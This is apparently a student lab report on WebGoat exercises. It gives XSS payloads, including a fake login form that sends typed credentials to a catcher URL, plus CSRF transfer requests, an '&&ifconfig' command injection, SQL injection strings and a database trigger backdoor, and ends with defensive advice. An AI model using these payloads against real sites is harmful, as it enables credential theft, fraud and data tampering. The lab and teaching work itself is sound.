1. 程式人生 > >20155308《網絡對抗》Exp9 Web安全基礎實踐

20155308《網絡對抗》Exp9 Web安全基礎實踐

存儲過程 BE 權限 觀察 pass block 跨站 可靠的 都是

20155308《網絡對抗》Exp9 Web安全基礎實踐

本實踐的目標理解常用網絡攻擊技術的基本原理。Webgoat實踐下相關實驗。

實驗過程

WebGoat

  • WebGoat是OWASP組織研制出的用於進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,目前提供的訓練課程有很多,包含了XSS、線程安全、SQL註入等,我們本次的實驗就是在WebGoat平臺上進行。

1.WebGoat分為簡單版和開發板,簡單版是個Java的Jar包,只需要有Java環境即可,我們在命令行裏執行java -jar webgoat-container-7.0.1-war-exec.jar


運行WebGoat:

技術分享圖片

2.當頁面成功停在下圖位置時,最小化終端窗口:

技術分享圖片

3.打開瀏覽器,在地址欄輸入localhost:8080/WebGoat打開WebGoat,選擇默認賬號、密碼即可登陸成功。

技術分享圖片

4.進入WebGoat之後,可以看到有很多題目來讓我們進行練習。

技術分享圖片

XSS攻擊

  • 簡單說,就是在網站任何接受正常文本輸入的地方,輸入Javascript腳本,並讓腳本執行。

1、Phishing with XSS 跨站腳本釣魚攻擊

  • 跨站腳本攻擊最大的魅力是通過HTML註入劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,甚至可以模擬用戶當前的操作。這裏實驗的是一種獲取用戶名和密碼的攻擊

先編寫一個包含用戶名、密碼的前端代碼:

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

然後在webgoat找到xss攻擊打開Phishing with XSS(第一個選項),將這段代碼輸入到輸入框中,點擊search出現如下登錄框:

技術分享圖片

1.在登錄框中輸入用戶名、密碼:

技術分享圖片

2.點擊登錄後跳出彈框,其中包含用戶輸入的用戶名、密碼。

技術分享圖片

3.攻擊成功!

技術分享圖片

2、Stored XSS Attacks 存儲型XSS攻擊

存儲型XSS的攻擊基本流程:

a. 比如在某個論壇提供留言板功能,黑客在留言板內插入惡意的html或者Javascript代碼,並且提交。

b. 網站後臺程序將留言內容存儲在數據中

c. 然後一個用戶也訪問這個論壇,並刷新了留言板,這時網站後臺從數據庫中讀取了之前黑客的留言內容,並且直接插入在html頁面中,這就可能導致了:黑客留言的腳本本身應該作為內容顯示在留言板的,然後此時可能黑客的留言腳本被瀏覽器解釋執行了。

那麽黑客的腳本可以用來做哪些事兒:

通過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息

重定向網站到一個釣魚網站

重新更改頁面內容,假裝讓客戶輸入用戶名,密碼,然後提交到黑客的服務器

1.打開Stored XSS Attacks(XSS第二個選項),在Message框中輸入<script>alert("I am 20155308 haowenfei");</script>

技術分享圖片

2.提交後,再次點擊剛剛創建的帖子,成功彈出窗口,說明攻擊成功:

技術分享圖片
技術分享圖片

3、Reflected XSS Attacks 反射型XSS攻擊

1.當我們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展示給我們看:

技術分享圖片
技術分享圖片

2.打開Reflected XSS Attacks(XSS的第三個選項),在code框中輸入<script>alert("I am 20155308 haowenfei");</script>

技術分享圖片

3.點擊Purchase出現對話框,顯示I am 20155308 haowenfei。攻擊成功!

技術分享圖片

CSRF攻擊

1.我們的目的是要寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,我們可以以圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。

2.打開CSRF

技術分享圖片

2.我們在message框中輸入這樣一串代碼:
<img src=‘attack?Screen=src值&menu=menu值&transferFunds=轉賬數額‘ width=‘1‘ height=‘1‘>,註意這裏面的Screen和menu的值每個人的電腦可能不一樣,可以在當前頁面的下面有個Parameters進行查看:

技術分享圖片
技術分享圖片

3.提交後生成一個鏈接20155308:

技術分享圖片

4.點擊學號名即可查看用戶操作的信息,攻擊成功,轉帳了20155308元。

技術分享圖片

2、CSRF Prompt By-Pass

1.我們依舊和上一個一樣要構造CSRF攻擊,不過這次其包括了兩個請求,一是轉賬請求,二是確認轉賬成功請求,即需要額外傳遞兩個參數給服務器(transferFunds=........,transferFunds=CONFIRM)

2.查看頁面右邊Parameters中的src和menu值,並在title框中輸入學號,message框中輸入代碼:

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉賬數額"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

提交後生成一個鏈接20155308:

技術分享圖片

3.點擊學號名即可查看用戶操作的信息,攻擊成功

技術分享圖片

SQL註入攻擊

  • SQL註入攻擊是黑客對數據庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL註入。

1、Command Injection

1.在Injection Flaws打開Command Injection

技術分享圖片

2.我們看到這一題的選擇框是一個下拉框,在當前網頁上無法修改,於是,我們使用BurpSuite抓包修改

3.在題目頁面點擊view,然後進入BurpSuite中,在repeater頁標簽的Params選項中先運行一次,查看數據都提交的位置:

4.然後修改HelpFile的值為AccessControlMatrix.help"&&ifconfig",其中的雙引號是為了封閉原語句中的雙引號,&&在命令行中是執行另外一條語句的意思,點擊GO發現執行了ifconfig語句

5.回到題目發現顯示破解成功。

2、Numeric SQL Injection

1.我們看到這一題的選擇框也是一個下拉框,在當前網頁上無法修改,於是,我們使用BurpSuite抓包修改。

技術分享圖片

2.在Kali桌面上找到如下圖標,打開BurpSuite:

技術分享圖片

3.在BurpSuite中依次選擇Proxy->Options->Add添加一個端口,將綁定的端口設為5308,點擊確認後會在Options下增加一行,勾選新形成的這一行:

技術分享圖片
技術分享圖片

4.點擊瀏覽器右上方的更多選項卡,選擇preference

技術分享圖片
5.在頁面左側選擇advanced,選擇network頁標簽,在connection那一行選擇settings…

6.在彈出的窗口中設置代理服務器和端口(要與BurpSuite中綁定的一致)
技術分享圖片

7.設置好代理後回到題目頁面,點擊Go,然後進入BurpSuite中依次選擇Proxy->Intercept,可以看到已經抓到了包:

技術分享圖片
技術分享圖片

8.右鍵選擇send to repeater

9.進入repeater頁標簽,選擇Params將其中station的值改為101 or 1=1,點擊Go運行,查看右側代碼可以看到包中的SQL語句為SELECT * FROM weather_data WHERE station = 101 or 1=1

技術分享圖片
回到Proxy中點擊Intercept is on對剩下的包不作處理,回到火狐發現已經成功。

3、Log Spoofing

在User Name文本框中輸入%0d%0aLogin succeeded !admin達到欺騙登錄效果,破解成功:

技術分享圖片
技術分享圖片

4、LAB:SQL Injection(Stage 1:String SQL Injection)

使用一個新的工具firebug(瀏覽器右上方有一個小昆蟲一樣的標誌),可以顯示當前網頁的源碼並直接在其中修改。

使用用戶Neville進行登錄,在密碼欄中輸入‘ or 1=1 --進行SQL註入,本以為會成功,但是登錄失敗,查看源碼發現輸入框對輸入的字符長度進行了限制,最多允許輸入8個字符。

在查看源碼的時候怎麽找到限制字符長度的語句在哪裏呢?在查看源碼的窗口的頂部左邊有一個鼠標一樣的標誌,點擊它,再點擊題目頁面的password輸入框的位置,源碼部分就會自動跳轉到關於密碼的部分,縮小範圍後就好找多了。
對長度maxlength值進行擴大(我直接改成了100,所謂多多益善嘛),然後在密碼欄中再次輸入‘ or 1=1 --,點擊登錄就成功了!在這裏,千萬要開著擴大後的源碼頁面點登陸login,它並不能保存,記住不要關掉你改過長度的網頁代碼頁面,一關就沒了,這點很致命。

5、LAB:SQL Injection(Stage 3:Numeric SQL Injection)

用上一題的方法成功登錄

查看網頁源碼,選擇查看viewprofile部分的代碼,這時候可以看到一行用員工id作為索引來傳送數據的代碼,雙擊這行代碼就可以出現value的值,因為我們想要用Larry的賬戶瀏覽老板信息,而大多數企業公司裏老板的工資應該是最高的,所以我們就把其中的value值由101改為101 or 1=1 order by salary desc --,這樣老板的信息就會被排到第一個讓我們看到

可以看到老板應該就是Neville了,電話地址電郵工資卡等等信息一覽無余。

6、String SQL Injection

在輸入框中輸入Smith進行嘗試,觀察下方形成的輸入語句,可以看到輸入的Smith在兩個單引號之間:

構造永真式‘or 1=‘1,第一個分號用來閉合原輸入語句的前一個分號,而第二個分號用來閉合原輸入語句的後一個分號,使這條語句被強行拆分成為兩條語句。

這樣一來,攻擊就成功了,可以顯示所有用戶的信息了。

7、Database Backdoors

先輸入示例101進行嘗試,得到了該用戶的信息。

觀察發現輸入的語句不進行驗證,於是我們輸入語句:101; update employee set salary=666666成功將該用戶的工資變成666666,攻擊成功:

下一步,輸入語句

101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid
就可以了,表中一旦添加新用戶那麽就在用戶表裏將新用戶的郵箱改為我設置的郵箱。

8、Blind Numeric SQL Injection

嘗試題目中給出的例子,在輸入框輸入101,運行後發現返回Account number is valid,說明這個數是合法的!

`
構造輸入語句101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 數值 );,根據返回的語句是否合法判斷pin值的範圍。

這裏使用二分法,確實有些費時費力,需要從2000,3000,2500,2250,2375,2313,2344,2360,2368,2364......一直很有耐心的試下去,但是其實也不算慢呀感覺,最後確定值是2364,輸入2364後破解成功:

基礎問題回答

  • SQL註入攻擊原理,如何防禦?

原理:SQL註入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,使非法數據侵入系統。

防禦:

1.對用戶的輸入進行校驗,可以通過正則表達式,雙"-"進行轉換等。
2.不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
3.不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
5.應用的異常信息應該給出盡可能少的提示。
6.采取輔助軟件或網站平臺來檢測sql註入。

  • XSS攻擊的原理,如何防禦?
    原理:XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼(如,HTML代碼和客戶端腳本)植入到提供給其它用戶使用的頁面中,攻擊者可以利用XSS漏洞旁路掉訪問控制。

防禦:

1.特征匹配方式,在所有提交的信息中都進行匹配檢查,一般會對“javascript”這個關鍵字進行檢索,一旦發現提交信息中包含“javascript”,就認定為XSS攻擊。
2.對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、采用適當格式、采用所預期的字符的內容提交,對其他的一律過濾。
3.實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。

  • CSRF攻擊原理,如何防禦?
    原理:CSRF跨站請求偽造,也被稱為“oneclickattack”或者sessionriding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用,通過偽裝來自受信任用戶的請求來利用受信任的網站。是一種依賴web瀏覽器的、被混淆過的代理人攻擊。

防禦:

1.在form中包含秘密信息、用戶指定的代號作為cookie之外的驗證。
2.“雙提交”cookie。某個授權的cookie在form post之前正被JavaScript代碼讀取,那麽限制跨域規則將被應用。服務器需要在Post請求體或者URL中包含授權cookie的請求,那麽這個請求必須來自於受信任的域。
3.用戶在瀏覽其它站點前登出站點或者在瀏覽器會話結束後清理瀏覽器的cookie。

實驗總結與體會

20155308《網絡對抗》Exp9 Web安全基礎實踐